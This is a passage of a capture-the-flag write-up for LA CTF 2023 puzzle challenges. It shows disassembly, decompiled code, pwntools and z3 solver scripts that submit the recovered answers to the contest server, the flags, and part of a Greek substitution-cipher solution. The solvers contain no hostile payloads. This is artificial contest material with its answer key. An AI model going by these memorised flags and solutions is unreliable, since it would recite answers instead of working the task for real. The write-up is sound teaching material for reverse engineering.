│ 0x00001218 4881ec000100. sub rsp, 0x100
│ 0x0000121f 488d3d0a0e00. lea rdi, str.Whats_my_favorite_flavor_of_string_cheese__ ; 0x2030 ; "What's my favorite flavor of string cheese? " ; const char *format
│ 0x00001226 b800000000 mov eax, 0
│ 0x0000122b e810feffff call sym.imp.printf ; int printf(const char *format)
│ 0x00001230 488b05292e00. mov rax, qword [obj.stdout] ; obj.__TMC_END__
│ ; [0x4060:8]=0
│ 0x00001237 4889c7 mov rdi, rax ; FILE *stream
│ 0x0000123a e841feffff call sym.imp.fflush ; int fflush(FILE *stream)
│ 0x0000123f 488b152a2e00. mov rdx, qword [obj.stdin] ; obj.stdin_GLIBC_2.2.5
│ ; [0x4070:8]=0 ; FILE *stream
│ 0x00001246 488d8500ffff. lea rax, [s1]
│ 0x0000124d be00010000 mov esi, 0x100 ; int size
│ 0x00001252 4889c7 mov rdi, rax ; char *s
│ 0x00001255 e806feffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
│ 0x0000125a 488d8500ffff. lea rax, [s1]
│ 0x00001261 488d35c10d00. lea rsi, [0x00002029] ; "\n" ; const char *s2
│ 0x00001268 4889c7 mov rdi, rax ; const char *s1
│ 0x0000126b e8e0fdffff call sym.imp.strcspn ; size_t strcspn(const char *s1, const char *s2)
│ 0x00001270 c6840500ffff. mov byte [rbp + rax - 0x100], 0
│ 0x00001278 488d8500ffff. lea rax, [s1]
│ 0x0000127f 488d35d70d00. lea rsi, str.blueberry ; 0x205d ; "blueberry" ; const char *s2
│ 0x00001286 4889c7 mov rdi, rax ; const char *s1
│ 0x00001289 e8e2fdffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ 0x0000128e 85c0 test eax, eax
│ ┌─< 0x00001290 7524 jne 0x12b6
│ │ 0x00001292 488d3dcf0d00. lea rdi, str....how_did_you_know__That_isnt_even_a_real_flavor... ; 0x2068 ; "...how did you know? That isn't even a real flavor..." ; const char *s
│ │ 0x00001299 e892fdffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x0000129e 488d3dfb0d00. lea rdi, str.Well_I_guess_I_should_give_you_the_flag_now... ; 0x20a0 ; "Well I guess I should give you the flag now..." ; const char *s
│ │ 0x000012a5 e886fdffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x000012aa b800000000 mov eax, 0
│ │ 0x000012af e8e1feffff call sym.print_flag
│ ┌──< 0x000012b4 eb0c jmp 0x12c2
│ ││ ; CODE XREF from main @ 0x1290(x)
│ │└─> 0x000012b6 488d3d130e00. lea rdi, str.Hmm..._I_dont_think_thats_quite_it._Better_luck_next_time_ ; 0x20d0 ; "Hmm... I don't think that's quite it. Better luck next time!" ; const char *s
│ │ 0x000012bd e86efdffff call sym.imp.puts ; int puts(const char *s)
│ │ ; CODE XREF from main @ 0x12b4(x)
│ └──> 0x000012c2 b800000000 mov eax, 0
│ 0x000012c7 c9 leave
└ 0x000012c8 c3 ret
```
:::
**DECOMPILED CODE - main :**
:::spoiler Click to show details
```C=
ulong main(void)
{
int32_t iVar1;
int64_t iVar2;
ulong s1;
sym.imp.printf("What\'s my favorite flavor of string cheese? ");
sym.imp.fflush(_reloc.stdout);
sym.imp.fgets(&s1, 0x100, _reloc.stdin);
iVar2 = sym.imp.strcspn(&s1, 0x2029);
*(&s1 + iVar2) = 0;
iVar1 = sym.imp.strcmp(&s1, "blueberry");
if (iVar1 == 0) {
sym.imp.puts("...how did you know? That isn\'t even a real flavor...");
sym.imp.puts("Well I guess I should give you the flag now...");
sym.print_flag();
}
else {
sym.imp.puts("Hmm... I don\'t think that\'s quite it. Better luck next time!");
}
return 0;
}
```
:::
From this `iVar1 = sym.imp.strcmp(&s1, "blueberry");` we know that `strcmp()` will compares the two strings lexicographically means it starts comparison character by character starting from the first character until the characters in both strings are equal or a NULL character is encountered.
So we can put `blueberry` as the answer.
```
└─# ./string_cheese
What's my favorite flavor of string cheese? blueberry
...how did you know? That isn't even a real flavor...
Well I guess I should give you the flag now...
```
Now lets check to Server, but my teammates already solve it first and got :3rd_place_medal:.
#### Solver script
```python=
from pwn import *
r = remote("lac.tf",31131)
r.writelineafter(b"What\'s my favorite flavor of string cheese? ", b'blueberry')
print(r.readall().decode())
```
:::success
Flag:`lactf{d0n7_m4k3_fun_0f_my_t4st3_1n_ch33s3}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
## rev/finals-simulator
Don't you love taking finals? Don't you wish you could do it not only during finals week, but during every week? Fret no more, Finals Simulator 2023 has got your back! If you install now and get an A+ on your simulated final, you'll even get the limited time Flag DLC for free! Also, after numerous reports of cheating we've installed an anti-cheating mechanism so people actually have to solve the problem.
Connect to it at `nc lac.tf 31132`
---
#### Analysis
> FILE INFO :
```
ELF Name : finals_simulator
ELF Type : ELF 64-bit LSB pie executable
ELF Arch : x86-64
ELF SHA1 Hash : BuildID[sha1]=48a8db43abba37f8eedf3cc4c9a5d4fee28be7cb
Arch : amd64-64-little
RELRO : Partial RELRO
Stack : No canary found
NX : NX enabled
PIE : PIE enabled
```
> SHARED OBJECT DEPENDENCY :
```
linux-vdso.so.1 (0x00007ffca38e8000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4ecaf96000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4ecb187000)
```
> ASSEMBLY AND DECOMPILED CODE :
**ASM - main :**
:::spoiler Click to show details
```asm
; DATA XREF from entry0 @ 0x10fd(r)
┌ 503: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_8h @ rbp-0x8
│ ; var char *s1 @ rbp-0x110
│ ; var int64_t var_114h @ rbp-0x114
│ 0x00001244 55 push rbp
│ 0x00001245 4889e5 mov rbp, rsp
│ 0x00001248 4881ec200100. sub rsp, 0x120
│ 0x0000124f 488d3dda0d00. lea rdi, str.Welcome_to_Finals_Simulator_2023:_Math_Edition_ ; 0x2030 ; "Welcome to Finals Simulator 2023: Math Edition!" ; const char *s
│ 0x00001256 e8e5fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x0000125b 488d3dfe0d00. lea rdi, str.Question_1:_What_is_sin_x__n__ ; 0x2060 ; "Question #1: What is sin(x)/n? " ; const char *format
│ 0x00001262 b800000000 mov eax, 0
│ 0x00001267 e8e4fdffff call sym.imp.printf ; int printf(const char *format)
│ 0x0000126c 488b052d2e00. mov rax, qword [obj.stdout] ; obj.stdout_GLIBC_2.2.5
│ ; [0x40a0:8]=0
│ 0x00001273 4889c7 mov rdi, rax ; FILE *stream
│ 0x00001276 e825feffff call sym.imp.fflush ; int fflush(FILE *stream)
│ 0x0000127b 488b152e2e00. mov rdx, qword [obj.stdin] ; obj.stdin_GLIBC_2.2.5
│ ; [0x40b0:8]=0 ; FILE *stream
│ 0x00001282 488d85f0feff. lea rax, [s1]
│ 0x00001289 be00010000 mov esi, 0x100 ; int size
│ 0x0000128e 4889c7 mov rdi, rax ; char *s
│ 0x00001291 e8dafdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
│ 0x00001296 488d85f0feff. lea rax, [s1]
│ 0x0000129d 488d35850d00. lea rsi, [0x00002029] ; "\n" ; const char *s2
│ 0x000012a4 4889c7 mov rdi, rax ; const char *s1
│ 0x000012a7 e8b4fdffff call sym.imp.strcspn ; size_t strcspn(const char *s1, const char *s2)
│ 0x000012ac c68405f0feff. mov byte [rbp + rax - 0x110], 0
│ 0x000012b4 488d85f0feff. lea rax, [s1]
│ 0x000012bb 488d35be0d00. lea rsi, [0x00002080] ; "six" ; const char *s2
│ 0x000012c2 4889c7 mov rdi, rax ; const char *s1
│ 0x000012c5 e8b6fdffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ 0x000012ca 85c0 test eax, eax
│ ┌─< 0x000012cc 7416 je 0x12e4
│ │ 0x000012ce 488d3daf0d00. lea rdi, str.Wrong__You_failed. ; 0x2084 ; "Wrong! You failed." ; const char *s
│ │ 0x000012d5 e866fdffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x000012da b800000000 mov eax, 0
│ ┌──< 0x000012df e955010000 jmp 0x1439
│ ││ ; CODE XREF from main @ 0x12cc(x)
│ │└─> 0x000012e4 488d3dad0d00. lea rdi, str.Question_2:_Whats_the_prettiest_number__ ; 0x2098 ; "Question #2: What's the prettiest number? " ; const char *format
│ │ 0x000012eb b800000000 mov eax, 0
│ │ 0x000012f0 e85bfdffff call sym.imp.printf ; int printf(const char *format)
│ │ 0x000012f5 488b05a42d00. mov rax, qword [obj.stdout] ; obj.stdout_GLIBC_2.2.5
│ │ ; [0x40a0:8]=0
│ │ 0x000012fc 4889c7 mov rdi, rax ; FILE *stream
│ │ 0x000012ff e89cfdffff call sym.imp.fflush ; int fflush(FILE *stream)
│ │ 0x00001304 488d85ecfeff. lea rax, [var_114h]
│ │ 0x0000130b 4889c6 mov rsi, rax
│ │ 0x0000130e 488d3dae0d00. lea rdi, [0x000020c3] ; "%d" ; const char *format
│ │ 0x00001315 b800000000 mov eax, 0
│ │ 0x0000131a e8a1fdffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ │ 0x0000131f 8b85ecfeffff mov eax, dword [var_114h]
│ │ 0x00001325 83c058 add eax, 0x58
│ │ 0x00001328 6bc02a imul eax, eax, 0x2a
│ │ 0x0000132b 3d6a557921 cmp eax, 0x2179556a ; 'jUy!'
│ │┌─< 0x00001330 7416 je 0x1348
│ ││ 0x00001332 488d3d4b0d00. lea rdi, str.Wrong__You_failed. ; 0x2084 ; "Wrong! You failed." ; const char *s
│ ││ 0x00001339 e802fdffff call sym.imp.puts ; int puts(const char *s)
│ ││ 0x0000133e b800000000 mov eax, 0
│ ┌───< 0x00001343 e9f1000000 jmp 0x1439
│ │││ ; CODE XREF from main @ 0x1330(x)
│ ││└─> 0x00001348 488d3d790d00. lea rdi, str.Question_3:_Whats_the_integral_of_1_cabin_dcabin__ ; 0x20c8 ; "Question #3: What's the integral of 1/cabin dcabin? " ; const char *format
│ ││ 0x0000134f b800000000 mov eax, 0
│ ││ 0x00001354 e8f7fcffff call sym.imp.printf ; int printf(const char *format)
│ ││ 0x00001359 488b05402d00. mov rax, qword [obj.stdout] ; obj.stdout_GLIBC_2.2.5
│ ││ ; [0x40a0:8]=0
│ ││ 0x00001360 4889c7 mov rdi, rax ; FILE *stream
│ ││ 0x00001363 e838fdffff call sym.imp.fflush ; int fflush(FILE *stream)
│ ││ 0x00001368 e823fdffff call sym.imp.getchar ; int getchar(void)
│ ││ 0x0000136d 488b153c2d00. mov rdx, qword [obj.stdin] ; obj.stdin_GLIBC_2.2.5
│ ││ ; [0x40b0:8]=0 ; FILE *stream
│ ││ 0x00001374 488d85f0feff. lea rax, [s1]
│ ││ 0x0000137b be00010000 mov esi, 0x100 ; int size
│ ││ 0x00001380 4889c7 mov rdi, rax ; char *s
│ ││ 0x00001383 e8e8fcffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
│ ││ 0x00001388 488d85f0feff. lea rax, [s1]
│ ││ 0x0000138f 488d35930c00. lea rsi, [0x00002029] ; "\n" ; const char *s2
│ ││ 0x00001396 4889c7 mov rdi, rax ; const char *s1
│ ││ 0x00001399 e8c2fcffff call sym.imp.strcspn ; size_t strcspn(const char *s1, const char *s2)
│ ││ 0x0000139e c68405f0feff. mov byte [rbp + rax - 0x110], 0
│ ││ 0x000013a6 488d85f0feff. lea rax, [s1]
│ ││ 0x000013ad 488945f8 mov qword [var_8h], rax
│ ││┌─< 0x000013b1 eb29 jmp 0x13dc
│ │││ ; CODE XREF from main @ 0x13e5(x)
│ ┌────> 0x000013b3 488b45f8 mov rax, qword [var_8h]
│ ╎│││ 0x000013b7 0fb600 movzx eax, byte [rax]
│ ╎│││ 0x000013ba 0fbec0 movsx eax, al
│ ╎│││ 0x000013bd 89c2 mov edx, eax
│ ╎│││ 0x000013bf c1e204 shl edx, 4
│ ╎│││ 0x000013c2 01d0 add eax, edx
│ ╎│││ 0x000013c4 8b0dca2c0000 mov ecx, dword [obj.mod] ; [0x4094:4]=253
│ ╎│││ 0x000013ca 99 cdq
│ ╎│││ 0x000013cb f7f9 idiv ecx
│ ╎│││ 0x000013cd 89d0 mov eax, edx
│ ╎│││ 0x000013cf 89c2 mov edx, eax
│ ╎│││ 0x000013d1 488b45f8 mov rax, qword [var_8h]
│ ╎│││ 0x000013d5 8810 mov byte [rax], dl
│ ╎│││ 0x000013d7 488345f801 add qword [var_8h], 1
│ ╎│││ ; CODE XREF from main @ 0x13b1(x)
│ ╎││└─> 0x000013dc 488b45f8 mov rax, qword [var_8h]
│ ╎││ 0x000013e0 0fb600 movzx eax, byte [rax]
│ ╎││ 0x000013e3 84c0 test al, al
│ └────< 0x000013e5 75cc jne 0x13b3
│ ││ 0x000013e7 bf0a000000 mov edi, 0xa ; int c
│ ││ 0x000013ec e83ffcffff call sym.imp.putchar ; int putchar(int c)
│ ││ 0x000013f1 488d85f0feff. lea rax, [s1]
│ ││ 0x000013f8 488d35812c00. lea rsi, obj.enc ; 0x4080 ; const char *s2
│ ││ 0x000013ff 4889c7 mov rdi, rax ; const char *s1
│ ││ 0x00001402 e879fcffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ ││ 0x00001407 85c0 test eax, eax
│ ││┌─< 0x00001409 7413 je 0x141e
│ │││ 0x0000140b 488d3d720c00. lea rdi, str.Wrong__You_failed. ; 0x2084 ; "Wrong! You failed." ; const char *s
│ │││ 0x00001412 e829fcffff call sym.imp.puts ; int puts(const char *s)
│ │││ 0x00001417 b800000000 mov eax, 0
│ ┌────< 0x0000141c eb1b jmp 0x1439
│ ││││ ; CODE XREF from main @ 0x1409(x)
│ │││└─> 0x0000141e 488d3ddb0c00. lea rdi, str.Wow__A_100___You_must_be_really_good_at_math__Here__have_a_flag_as_a_reward. ; 0x2100 ; "Wow! A 100%! You must be really good at math! Here, have a flag as a reward." ; const char *s
│ │││ 0x00001425 e816fcffff call sym.imp.puts ; int puts(const char *s)
│ │││ 0x0000142a b800000000 mov eax, 0
│ │││ 0x0000142f e891fdffff call sym.print_flag
│ │││ 0x00001434 b800000000 mov eax, 0
│ │││ ; CODE XREFS from main @ 0x12df(x), 0x1343(x), 0x141c(x)
│ └└└──> 0x00001439 c9 leave
└ 0x0000143a c3 ret
```
:::
**DECOMPILED CODE - main :**
:::spoiler Click to show details
```C=
undefined8 main(void)
{
int iVar1;
size_t sVar2;
int local_11c;
char local_118 [264];
char *local_10;
puts("Welcome to Finals Simulator 2023: Math Edition!");
printf("Question #1: What is sin(x)/n? ");
fflush(stdout);
fgets(local_118,0x100,stdin);
sVar2 = strcspn(local_118,"\n");
local_118[sVar2] = '\0';
iVar1 = strcmp(local_118,"six");
if (iVar1 == 0) {
printf("Question #2: What\'s the prettiest number? ");
fflush(stdout);
__isoc99_scanf(&DAT_001020c3,&local_11c);
if ((local_11c + 0x58) * 0x2a == 0x2179556a) {
printf("Question #3: What\'s the integral of 1/cabin dcabin? ");
fflush(stdout);
getchar();
fgets(local_118,0x100,stdin);
sVar2 = strcspn(local_118,"\n");
local_118[sVar2] = '\0';
for (local_10 = local_118; *local_10 != '\0'; local_10 = local_10 + 1) {
*local_10 = (char)((long)(*local_10 * 0x11) % 0xfd);
}
putchar(10);
iVar1 = strcmp(local_118,enc);
if (iVar1 == 0) {
puts("Wow! A 100%! You must be really good at math! Here, have a flag as a reward.");
print_flag();
}
else {
puts("Wrong! You failed.");
}
}
else {
puts("Wrong! You failed.");
}
}
else {
puts("Wrong! You failed.");
}
return 0;
}
```
:::
After observing the both assembly and decompiled code from `main()` function, will give us 3 questions.
* Question #1: What is sin(x)/n?
Ans:
```C=16
iVar1 = strcmp(local_118,"six");
if (iVar1 == 0) {
printf("Question #2: What\'s the prettiest number? ");
```
The `strcmp()` mentioned "six" as comparison, so the answer for #1 question are **six**
* Question #2: What's the prettiest number?
Ans:
```C=21
if ((local_11c + 0x58) * 0x2a == 0x2179556a) {
```
As we can see, there's a calculation between `(local_11c + 0x58) * 0x2a` and the result must equal to `0x2179556a`.
We can do a backwards calculation, since can't find the value of `local_11c`.
`0x2179556a // 0x2a - 0x58` will get `13371337` as results, then use it to answer the #2 question.
* Question #3: What's the integral of 1/cabin dcabin?
Ans:
```C=28
for (local_10 = local_118; *local_10 != '\0'; local_10 = local_10 + 1) {
*local_10 = (char)((long)(*local_10 * 0x11) % 0xfd);
}
putchar(10);
iVar1 = strcmp(local_118,enc);
```
There's another calculation which need `local_10` value, `local_10` equal to `local_118` and will compare to `enc` values.
This is the `enc` values:
:::spoiler Click to show details
```asm
enc XREF[2]: Entry Point(*), main:001013f8(*)
00104080 0e c9 9d undefine
b8 26 83
26 41 74
00104080 0e undefined10Eh [0] XREF[2]: Entry Point(*), main:001013f8(*)
00104081 c9 undefined1C9h [1]
00104082 9d undefined19Dh [2]
00104083 b8 undefined1B8h [3]
00104084 26 undefined126h [4]
00104085 83 undefined183h [5]
00104086 26 undefined126h [6]
00104087 41 undefined141h [7]
00104088 74 undefined174h [8]
00104089 e9 undefined1E9h [9]
0010408a 26 undefined126h [10]
0010408b a5 undefined1A5h [11]
0010408c 83 undefined183h [12]
0010408d 94 undefined194h [13]
0010408e 0e undefined10Eh [14]
0010408f 63 undefined163h [15]
00104090 37 undefined137h [16]
00104091 37 undefined137h [17]
00104092 37 undefined137h [18]
00104093 00 undefined100h [19]
```
:::
`enc = [0x0e, 0xc9, 0x9d, 0xb8, 0x26, 0x83, 0x26, 0x41, 0x74, 0xe9, 0x26, 0xa5, 0x83, 0x94, 0x0e, 0x63, 0x37, 0x37, 0x37, 0x00]`
After listing the `enc` value, we can calculate them and we can get the answer for #3 question.
```!python=
mult = 0x11
mod = 0xfd
inverse = pow(mult, -1, mod)
enc = [0x0e, 0xc9, 0x9d, 0xb8, 0x26, 0x83, 0x26, 0x41, 0x74, 0xe9, 0x26, 0xa5, 0x83, 0x94, 0x0e, 0x63, 0x37, 0x37, 0x37, 0x00]
Q3ans = bytes([(n * inverse) % mod for n in enc])
```
My teammates solve this first.
#### Solver script
:::spoiler Click to show details
```python=
#!/usr/bin/env python3
from pwn import *
binary = "./finals_simulator"
def main():
r = remote("lac.tf",31132)
# r = process(binary)
Q1ans = b"six"
Q2ans = str(0x2179556a // 0x2a - 0x58).encode() # from main line 22
mult = 0x11
mod = 0xfd
inverse = pow(mult, -1, mod)
enc = [0x0e, 0xc9, 0x9d, 0xb8, 0x26, 0x83, 0x26, 0x41, 0x74, 0xe9, 0x26, 0xa5, 0x83, 0x94, 0x0e, 0x63, 0x37, 0x37, 0x37, 0x00]
Q3ans = bytes([(n * inverse) % mod for n in enc])
print(r.writelineafter(b"Question #1: What is sin(x)/n? ", Q1ans))
print(Q1ans)
print(r.writelineafter(b"Question #2: What\'s the prettiest number? ", Q2ans))
print(Q2ans)
print(r.writelineafter(b"Question #3: What\'s the integral of 1/cabin dcabin? ", Q3ans))
print(Q3ans)
print(r.readall().decode())
if __name__=="__main__":
main()
```
:::
:::success
Flag:`lactf{im_n0t_qu1t3_sur3_th4ts_h0w_m4th_w0rks_bu7_0k}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
## rev/universal
3 billion devices run Java...so I guess 3 billion devices can get the flag.
Downloads
`FlagChecker.class`
---
#### Analysis
> FlagChecker.java :
:::spoiler Click to show details
```java=
/* Decompiler 68ms, total 1584ms, lines 20 */
import java.nio.charset.Charset;
import java.util.Scanner;
class FlagChecker {
public static void main(String[] var0) {
System.out.print("What's the flag? ");
System.out.flush();
Scanner var1 = new Scanner(System.in);
String var2 = var1.nextLine();
var1.close();
byte[] var3 = var2.getBytes(Charset.forName("UTF-8"));
if (var3.length == 38 && ((var3[34] ^ var3[23] * 7 ^ ~var3[36] + 13) & 255) == 182 && ((var3[37] ^ var3[10] * 7 ^ ~var3[21] + 13) & 255) == 223 && ((var3[24] ^ var3[23] * 7 ^ ~var3[19] + 13) & 255) == 205 && ((var3[25] ^ var3[13] * 7 ^ ~var3[23] + 13) & 255) == 144 && ((var3[6] ^ var3[27] * 7 ^ ~var3[25] + 13) & 255) == 138 && ((var3[4] ^ var3[32] * 7 ^ ~var3[22] + 13) & 255) == 227 && ((var3[25] ^ var3[19] * 7 ^ ~var3[1] + 13) & 255) == 107 && ((var3[22] ^ var3[7] * 7 ^ ~var3[29] + 13) & 255) == 85 && ((var3[15] ^ var3[10] * 7 ^ ~var3[20] + 13) & 255) == 188 && ((var3[29] ^ var3[16] * 7 ^ ~var3[12] + 13) & 255) == 88 && ((var3[35] ^ var3[4] * 7 ^ ~var3[33] + 13) & 255) == 84 && ((var3[36] ^ var3[2] * 7 ^ ~var3[4] + 13) & 255) == 103 && ((var3[26] ^ var3[3] * 7 ^ ~var3[1] + 13) & 255) == 216 && ((var3[12] ^ var3[6] * 7 ^ ~var3[18] + 13) & 255) == 165 && ((var3[12] ^ var3[28] * 7 ^ ~var3[36] + 13) & 255) == 151 && ((var3[20] ^ var3[0] * 7 ^ ~var3[21] + 13) & 255) == 101 && ((var3[27] ^ var3[36] * 7 ^ ~var3[14] + 13) & 255) == 248 && ((var3[35] ^ var3[2] * 7 ^ ~var3[19] + 13) & 255) == 44 && ((var3[13] ^ var3[11] * 7 ^ ~var3[33] + 13) & 255) == 242 && ((var3[33] ^ var3[11] * 7 ^ ~var3[3] + 13) & 255) == 235 && ((var3[31] ^ var3[37] * 7 ^ ~var3[29] + 13) & 255) == 248 && ((var3[1] ^ var3[33] * 7 ^ ~var3[31] + 13) & 255) == 33 && ((var3[34] ^ var3[22] * 7 ^ ~var3[35] + 13) & 255) == 84 && ((var3[36] ^ var3[16] * 7 ^ ~var3[4] + 13) & 255) == 75 && ((var3[8] ^ var3[3] * 7 ^ ~var3[10] + 13) & 255) == 214 && ((var3[20] ^ var3[5] * 7 ^ ~var3[12] + 13) & 255) == 193 && ((var3[28] ^ var3[34] * 7 ^ ~var3[16] + 13) & 255) == 210 && ((var3[3] ^ var3[35] * 7 ^ ~var3[9] + 13) & 255) == 205 && ((var3[27] ^ var3[22] * 7 ^ ~var3[2] + 13) & 255) == 46 && ((var3[27] ^ var3[18] * 7 ^ ~var3[9] + 13) & 255) == 54 && ((var3[3] ^ var3[29] * 7 ^ ~var3[22] + 13) & 255) == 32 && ((var3[24] ^ var3[4] * 7 ^ ~var3[13] + 13) & 255) == 99 && ((var3[22] ^ var3[16] * 7 ^ ~var3[13] + 13) & 255) == 108 && ((var3[12] ^ var3[8] * 7 ^ ~var3[30] + 13) & 255) == 117 && ((var3[25] ^ var3[27] * 7 ^ ~var3[35] + 13) & 255) == 146 && ((var3[16] ^ var3[10] * 7 ^ ~var3[14] + 13) & 255) == 250 && ((var3[21] ^ var3[25] * 7 ^ ~var3[12] + 13) & 255) == 195 && ((var3[26] ^ var3[10] * 7 ^ ~var3[30] + 13) & 255) == 203 && ((var3[20] ^ var3[2] * 7 ^ ~var3[1] + 13) & 255) == 47 && ((var3[34] ^ var3[12] * 7 ^ ~var3[27] + 13) & 255) == 121 && ((var3[19] ^ var3[34] * 7 ^ ~var3[20] + 13) & 255) == 246 && ((var3[25] ^ var3[22] * 7 ^ ~var3[14] + 13) & 255) == 61 && ((var3[19] ^ var3[28] * 7 ^ ~var3[37] + 13) & 255) == 189 && ((var3[24] ^ var3[9] * 7 ^ ~var3[17] + 13) & 255) == 185) {
System.out.println("Correct!");
} else {
System.out.println("Not quite...");
}
}
}
````
:::
After decompiling `FlagChecker.class` using [java decompiler](https://jdec.app/), found var3 bytes length are 38.
Assume that the flag string is `lactf{...}`, here's the example `var3[0]=6c`, `var3[1]=61` and `var3[2]=63`.
Calculating the rest of the bytes and got the :triangular_flag_on_post:
This challenge solved by my teammates and got 3rd :tada:.
#### Solver script
:::spoiler Click to show details
```python=
#!/usr/bin/env python3
from z3 import *
s = Solver()
var3 = [BitVec("var3%s" % (i), 8) for i in range(38)]
s.add(((var3[34] ^ (var3[23] * 7) ^ ((~var3[36]) + 13))) == 0xB6)
s.add(((var3[37] ^ (var3[10] * 7) ^ ((~var3[21]) + 13))) == 0xDF)
s.add(((var3[24] ^ (var3[23] * 7) ^ ((~var3[19]) + 13))) == 0xCD)
s.add(((var3[25] ^ (var3[13] * 7) ^ ((~var3[23]) + 13))) == 0x90)
s.add(((var3[6] ^ (var3[27] * 7) ^ ((~var3[25]) + 13))) == 0x8A)
s.add(((var3[4] ^ (var3[32] * 7) ^ ((~var3[22]) + 13))) == 0xE3)
s.add(((var3[25] ^ (var3[19] * 7) ^ ((~var3[1]) + 13))) == 0x6B)
s.add(((var3[22] ^ (var3[7] * 7) ^ ((~var3[29]) + 13))) == 0x55)
s.add(((var3[15] ^ (var3[10] * 7) ^ ((~var3[20]) + 13))) == 0xBC)
s.add(((var3[29] ^ (var3[16] * 7) ^ ((~var3[12]) + 13))) == 0x58)
s.add(((var3[35] ^ (var3[4] * 7) ^ ((~var3[33]) + 13))) == 0x54)
s.add(((var3[36] ^ (var3[2] * 7) ^ ((~var3[4]) + 13))) == 0x67)
s.add(((var3[26] ^ (var3[3] * 7) ^ ((~var3[1]) + 13))) == 0xD8)
s.add(((var3[12] ^ (var3[6] * 7) ^ ((~var3[18]) + 13))) == 0xA5)
s.add(((var3[12] ^ (var3[28] * 7) ^ ((~var3[36]) + 13))) == 0x97)
s.add(((var3[20] ^ (var3[0] * 7) ^ ((~var3[21]) + 13))) == 0x65)
s.add(((var3[27] ^ (var3[36] * 7) ^ ((~var3[14]) + 13))) == 0xF8)
s.add(((var3[35] ^ (var3[2] * 7) ^ ((~var3[19]) + 13))) == 0x2C)
s.add(((var3[13] ^ (var3[11] * 7) ^ ((~var3[33]) + 13))) == 0xF2)
s.add(((var3[33] ^ (var3[11] * 7) ^ ((~var3[3]) + 13))) == 0xEB)
s.add(((var3[31] ^ (var3[37] * 7) ^ ((~var3[29]) + 13))) == 0xF8)
s.add(((var3[1] ^ (var3[33] * 7) ^ ((~var3[31]) + 13))) == 0x21)
s.add(((var3[34] ^ (var3[22] * 7) ^ ((~var3[35]) + 13))) == 0x54)
s.add(((var3[36] ^ (var3[16] * 7) ^ ((~var3[4]) + 13))) == 0x4B)
s.add(((var3[8] ^ (var3[3] * 7) ^ ((~var3[10]) + 13))) == 0xD6)
s.add(((var3[20] ^ (var3[5] * 7) ^ ((~var3[12]) + 13))) == 0xC1)
s.add(((var3[28] ^ (var3[34] * 7) ^ ((~var3[16]) + 13))) == 0xD2)
s.add(((var3[3] ^ (var3[35] * 7) ^ ((~var3[9]) + 13))) == 0xCD)
s.add(((var3[27] ^ (var3[22] * 7) ^ ((~var3[2]) + 13))) == 0x2E)
s.add(((var3[27] ^ (var3[18] * 7) ^ ((~var3[9]) + 13))) == 0x36)
s.add(((var3[3] ^ (var3[29] * 7) ^ ((~var3[22]) + 13))) == 0x20)
s.add(((var3[24] ^ (var3[4] * 7) ^ ((~var3[13]) + 13))) == 0x63)
s.add(((var3[22] ^ (var3[16] * 7) ^ ((~var3[13]) + 13))) == 0x6C)
s.add(((var3[12] ^ (var3[8] * 7) ^ ((~var3[30]) + 13))) == 0x75)
s.add(((var3[25] ^ (var3[27] * 7) ^ ((~var3[35]) + 13))) == 0x92)
s.add(((var3[16] ^ (var3[10] * 7) ^ ((~var3[14]) + 13))) == 0xFA)
s.add(((var3[21] ^ (var3[25] * 7) ^ ((~var3[12]) + 13))) == 0xC3)
s.add(((var3[26] ^ (var3[10] * 7) ^ ((~var3[30]) + 13))) == 0xCB)
s.add(((var3[20] ^ (var3[2] * 7) ^ ((~var3[1]) + 13))) == 0x2F)
s.add(((var3[34] ^ (var3[12] * 7) ^ ((~var3[27]) + 13))) == 0x79)
s.add(((var3[19] ^ (var3[34] * 7) ^ ((~var3[20]) + 13))) == 0xF6)
s.add(((var3[25] ^ (var3[22] * 7) ^ ((~var3[14]) + 13))) == 0x3D)
s.add(((var3[19] ^ (var3[28] * 7) ^ ((~var3[37]) + 13))) == 0xBD)
s.add(((var3[24] ^ (var3[9] * 7) ^ ((~var3[17]) + 13))) == 0xB9)
s.check()
m = s.model()
flag = ""
for i in range(38):
flag += chr(int(str(m.evaluate(var3[i]))))
print(flag)
```
:::
:::success
Flag:`lactf{1_d0nt_see_3_b1ll10n_s0lv3s_y3t}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
## crypto/greek cipher
You think you've seen all of the "classic" ciphers? Instead of your standard cipher, I've created my own cipher: the monoalphagreek cipher!
Answer with just the flag in lowercase with symbols left in.
---
#### Analysis
> greek.txt :
```!
κςκ ωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ζπι ιηγ δςρθι ψγρθπζ ςζ ηςθιπρω θνθψγμιγκ πδ νθςζε γζμρωψιςπζ? τγ ζγςιηγρ. κςκ ωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ψρπξσξοω δονγζι ςζ εργγα? τγ ζγςιηγρ. ς οςαγ ηπλ εργγα μησρσμιγρ οππα ιηπνεη, γυγζ ςδ ς μσζ'ι ργσκ ιηγτ. οσμιδ{ς_ενγθθ_νθςζε_τσζω_εργγα_μησρσμιγρθ_κςκζ'ι_θιπψ_ωπν._λγοο_ψοσωγκ_ς_τνθι_θσω.μπζερσιθ!}
```
Since I can't understand the language, I will replace it to alphabet letters.
Referring to **Greek alphabet list** at [RapidTables](https://www.rapidtables.com/math/symbols/greek_alphabet.html) and luck :tada:.
:::spoiler Click to show details
```python=
#!/usr/bin/env python3
from collections import OrderedDict
def replace_all(text, dic):
for i, j in dic.items():
text = text.replace(i, j)
return text
od = OrderedDict([
("α", "a"), ("β", "b"),
("ς", "c"), ("δ", "d"),
("ε", "e"), ("\\x00", "f"),
("γ", "g"), ("χ", "h"),
